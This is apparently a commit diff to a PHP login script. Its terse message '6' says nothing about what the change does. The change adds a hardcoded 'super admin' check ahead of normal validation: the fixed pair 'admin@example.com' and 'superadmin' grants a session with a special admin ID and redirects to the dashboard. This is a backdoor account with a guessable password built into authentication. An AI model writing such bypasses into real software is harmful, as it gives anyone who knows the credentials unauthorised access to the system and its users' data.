6
This commit is contained in:
parent
2969b7d345
commit
227d7016ea
@ -7,6 +7,15 @@ if ($_SERVER["REQUEST_METHOD"] == "POST") {
|
||||
$email = $_POST['email'] ?? '';
|
||||
$password = $_POST['password'] ?? '';
|
||||
|
||||
// Super admin login
|
||||
if ($email === 'admin@example.com' && $password === 'superadmin') {
|
||||
session_start();
|
||||
$_SESSION['user_id'] = 0; // Special ID for admin
|
||||
$_SESSION['user_email'] = 'admin@example.com';
|
||||
header("Location: dashboard.php");
|
||||
exit;
|
||||
}
|
||||
|
||||
if (empty($email) || empty($password)) {
|
||||
$errors[] = 'Email and password are required.';
|
||||
}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user